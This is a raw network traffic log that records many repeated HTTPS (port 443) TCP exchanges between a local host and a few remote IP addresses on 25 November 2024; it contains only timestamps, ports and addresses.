Nov 25, 2024 12:08:48.961325884 CET	443	50013	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:48.969571114 CET	443	50008	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:48.973062038 CET	443	50008	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:48.973103046 CET	50008	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:48.973118067 CET	443	50008	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:48.973126888 CET	443	50008	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:48.973177910 CET	50008	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:48.973207951 CET	50008	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:48.973217010 CET	443	50008	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:48.973227978 CET	50008	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:48.973232031 CET	443	50008	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:48.975491047 CET	50014	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:48.975517035 CET	443	50014	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:48.975811005 CET	50014	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:48.976005077 CET	50014	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:48.976016045 CET	443	50014	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:49.050137997 CET	443	50010	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:49.050626040 CET	50010	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:49.050657988 CET	443	50010	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:49.051105976 CET	50010	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:49.051111937 CET	443	50010	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:49.301994085 CET	443	49990	142.250.181.100	192.168.2.5
Nov 25, 2024 12:08:49.302077055 CET	443	49990	142.250.181.100	192.168.2.5
Nov 25, 2024 12:08:49.302139997 CET	49990	443	192.168.2.5	142.250.181.100
Nov 25, 2024 12:08:49.494662046 CET	443	50010	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:49.497643948 CET	443	50010	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:49.497720957 CET	50010	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:49.497782946 CET	50010	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:49.497800112 CET	443	50010	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:49.497812033 CET	50010	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:49.497817993 CET	443	50010	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:49.500566959 CET	50015	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:49.500611067 CET	443	50015	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:49.500761986 CET	50015	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:49.500853062 CET	50015	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:49.500864029 CET	443	50015	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:49.630808115 CET	443	50011	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:49.634768009 CET	50011	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:49.634798050 CET	443	50011	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:49.635240078 CET	50011	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:49.635247946 CET	443	50011	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.065906048 CET	49990	443	192.168.2.5	142.250.181.100
Nov 25, 2024 12:08:50.065944910 CET	443	49990	142.250.181.100	192.168.2.5
Nov 25, 2024 12:08:50.074139118 CET	443	50011	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.077075005 CET	443	50011	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.077121973 CET	443	50011	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.077128887 CET	50011	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:50.077167988 CET	50011	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:50.078881025 CET	50011	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:50.078910112 CET	443	50011	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.078924894 CET	50011	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:50.078933954 CET	443	50011	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.088816881 CET	50016	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:50.088843107 CET	443	50016	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.088908911 CET	50016	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:50.092379093 CET	50016	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:50.092390060 CET	443	50016	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.519610882 CET	443	50012	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.520437956 CET	50012	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:50.520451069 CET	443	50012	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.520919085 CET	50012	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:50.520925045 CET	443	50012	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.703567028 CET	443	50014	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.704025984 CET	50014	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:50.704041004 CET	443	50014	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.704555035 CET	50014	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:50.704560041 CET	443	50014	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.810205936 CET	443	50013	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.810802937 CET	50013	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:50.810816050 CET	443	50013	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.811630011 CET	50013	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:50.811639071 CET	443	50013	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.963510036 CET	443	50012	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.965784073 CET	443	50012	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.965964079 CET	50012	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:50.966008902 CET	50012	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:50.966008902 CET	50012	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:50.966028929 CET	443	50012	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.966037989 CET	443	50012	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.971451998 CET	50017	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:50.971484900 CET	443	50017	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:50.971560001 CET	50017	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:50.972701073 CET	50017	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:50.972712994 CET	443	50017	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.141902924 CET	443	50014	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.146586895 CET	443	50014	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.146648884 CET	443	50014	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.146740913 CET	50014	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.146845102 CET	50014	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.146845102 CET	50014	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.146862984 CET	443	50014	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.146877050 CET	443	50014	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.149653912 CET	50018	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.149682999 CET	443	50018	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.149779081 CET	50018	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.149934053 CET	50018	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.149944067 CET	443	50018	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.217210054 CET	443	50015	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.217758894 CET	50015	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.217768908 CET	443	50015	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.218261957 CET	50015	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.218266964 CET	443	50015	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.265105009 CET	443	50013	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.268029928 CET	443	50013	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.268949986 CET	50013	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.269021034 CET	50013	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.269037962 CET	443	50013	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.269047022 CET	50013	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.269052982 CET	443	50013	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.271843910 CET	50019	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.271873951 CET	443	50019	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.271997929 CET	50019	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.272176027 CET	50019	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.272186995 CET	443	50019	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.651160002 CET	443	50015	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.655814886 CET	443	50015	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.658427954 CET	50015	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.658474922 CET	50015	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.658490896 CET	443	50015	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.658500910 CET	50015	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.658508062 CET	443	50015	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.661103010 CET	50020	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.661138058 CET	443	50020	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.661217928 CET	50020	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.661353111 CET	50020	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.661365032 CET	443	50020	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.871272087 CET	443	50016	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.872215033 CET	50016	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.872226954 CET	443	50016	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:51.872701883 CET	50016	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:51.872706890 CET	443	50016	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:52.318161964 CET	443	50016	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:52.321346045 CET	443	50016	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:52.321389914 CET	443	50016	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:52.321413994 CET	50016	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:52.321461916 CET	50016	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:52.321516037 CET	50016	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:52.321530104 CET	443	50016	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:52.321540117 CET	50016	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:52.321549892 CET	443	50016	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:52.324208975 CET	50021	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:52.324254036 CET	443	50021	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:52.324317932 CET	50021	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:52.324455023 CET	50021	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:52.324465990 CET	443	50021	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:52.697925091 CET	443	50017	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:52.698832989 CET	50017	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:52.698874950 CET	443	50017	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:52.699291945 CET	50017	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:52.699299097 CET	443	50017	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:52.996263027 CET	443	50018	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:52.996882915 CET	50018	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:52.996907949 CET	443	50018	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:52.997354984 CET	50018	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:52.997360945 CET	443	50018	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.056394100 CET	443	50019	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.057240009 CET	50019	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.057271004 CET	443	50019	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.057699919 CET	50019	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.057706118 CET	443	50019	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.133574963 CET	443	50017	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.136362076 CET	443	50017	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.136430979 CET	50017	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.136499882 CET	50017	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.136518002 CET	443	50017	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.136529922 CET	50017	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.136534929 CET	443	50017	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.139547110 CET	50022	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.139579058 CET	443	50022	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.139650106 CET	50022	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.139784098 CET	50022	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.139796019 CET	443	50022	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.452100039 CET	443	50018	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.455574989 CET	443	50018	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.455676079 CET	50018	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.455770969 CET	50018	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.455790043 CET	443	50018	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.455801964 CET	50018	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.455807924 CET	443	50018	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.458662987 CET	50023	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.458698988 CET	443	50023	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.458796978 CET	50023	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.458957911 CET	50023	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.458972931 CET	443	50023	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.501125097 CET	443	50019	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.504196882 CET	443	50019	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.504249096 CET	443	50019	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.504262924 CET	50019	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.504312992 CET	50019	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.504867077 CET	50019	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.504878044 CET	443	50019	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.504921913 CET	50019	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.504926920 CET	443	50019	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.507576942 CET	50024	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.507607937 CET	443	50024	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.507677078 CET	50024	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.507838011 CET	50024	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.507849932 CET	443	50024	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.509152889 CET	443	50020	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.509479046 CET	50020	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.509490013 CET	443	50020	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.510102987 CET	50020	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.510108948 CET	443	50020	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.965639114 CET	443	50020	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.969443083 CET	443	50020	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.969511986 CET	50020	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.969568014 CET	50020	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.969578028 CET	443	50020	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.969594955 CET	50020	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.969600916 CET	443	50020	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.972397089 CET	50025	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.972440958 CET	443	50025	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:53.972527027 CET	50025	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.972640038 CET	50025	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:53.972652912 CET	443	50025	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:54.187761068 CET	443	50021	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:54.188296080 CET	50021	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:54.188316107 CET	443	50021	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:54.188781977 CET	50021	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:54.188786983 CET	443	50021	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:54.640252113 CET	443	50021	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:54.643438101 CET	443	50021	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:54.643521070 CET	50021	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:54.643557072 CET	50021	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:54.643573999 CET	443	50021	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:54.643605947 CET	50021	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:54.643613100 CET	443	50021	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:54.646460056 CET	50026	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:54.646502018 CET	443	50026	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:54.646595001 CET	50026	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:54.646761894 CET	50026	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:54.646775007 CET	443	50026	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:54.990715027 CET	443	50022	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:54.991225004 CET	50022	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:54.991244078 CET	443	50022	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:54.991739988 CET	50022	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:54.991746902 CET	443	50022	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.227300882 CET	443	50024	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.228064060 CET	50024	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.228086948 CET	443	50024	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.228539944 CET	50024	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.228544950 CET	443	50024	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.239006996 CET	443	50023	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.239384890 CET	50023	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.239408970 CET	443	50023	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.239769936 CET	50023	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.239774942 CET	443	50023	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.445585966 CET	443	50022	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.448714972 CET	443	50022	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.448770046 CET	443	50022	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.448782921 CET	50022	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.448837996 CET	50022	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.448894978 CET	50022	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.448918104 CET	443	50022	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.448930025 CET	50022	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.448935986 CET	443	50022	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.451739073 CET	50027	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.451793909 CET	443	50027	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.451883078 CET	50027	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.452023983 CET	50027	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.452044964 CET	443	50027	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.661767006 CET	443	50024	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.665069103 CET	443	50024	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.665118933 CET	443	50024	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.665132999 CET	50024	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.665184975 CET	50024	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.665230989 CET	50024	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.665244102 CET	443	50024	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.665256023 CET	50024	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.665261030 CET	443	50024	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.667819977 CET	50028	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.667834044 CET	443	50028	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.667924881 CET	50028	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.668071985 CET	50028	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.668083906 CET	443	50028	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.683125019 CET	443	50023	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.686219931 CET	443	50023	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.686299086 CET	50023	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.686341047 CET	50023	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.686355114 CET	443	50023	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.686373949 CET	50023	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.686378956 CET	443	50023	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.688731909 CET	50029	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.688785076 CET	443	50029	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.688854933 CET	50029	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.688993931 CET	50029	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.689007998 CET	443	50029	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.753083944 CET	443	50025	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.753568888 CET	50025	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.753602028 CET	443	50025	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:55.754333019 CET	50025	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:55.754339933 CET	443	50025	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:56.196095943 CET	443	50025	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:56.199580908 CET	443	50025	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:56.199630022 CET	50025	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:56.199894905 CET	50025	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:56.199914932 CET	443	50025	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:56.199932098 CET	50025	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:56.199938059 CET	443	50025	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:56.203634024 CET	50030	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:56.203660011 CET	443	50030	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:56.203737020 CET	50030	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:56.203932047 CET	50030	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:56.203943014 CET	443	50030	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:56.363822937 CET	443	50026	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:56.364412069 CET	50026	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:56.364420891 CET	443	50026	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:56.364864111 CET	50026	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:56.364867926 CET	443	50026	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:56.797806025 CET	443	50026	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:56.801165104 CET	443	50026	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:56.801249027 CET	50026	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:56.801285028 CET	50026	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:56.801302910 CET	443	50026	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:56.801315069 CET	50026	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:56.801320076 CET	443	50026	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:56.803962946 CET	50031	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:56.804009914 CET	443	50031	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:56.804105043 CET	50031	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:56.804239988 CET	50031	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:56.804255009 CET	443	50031	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.167396069 CET	443	50027	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.168163061 CET	50027	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.168188095 CET	443	50027	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.168673038 CET	50027	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.168678999 CET	443	50027	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.385305882 CET	443	50028	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.385766029 CET	50028	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.385786057 CET	443	50028	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.386250019 CET	50028	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.386255980 CET	443	50028	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.470474005 CET	443	50029	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.471009970 CET	50029	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.471028090 CET	443	50029	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.471622944 CET	50029	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.471633911 CET	443	50029	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.601351976 CET	443	50027	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.604733944 CET	443	50027	13.107.246.63	192.168.2.5
Nov 25, 2024 12:08:57.604834080 CET	50027	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:08:57.604892015 CET	50027	443	192.168.2.5	13.107.246.63
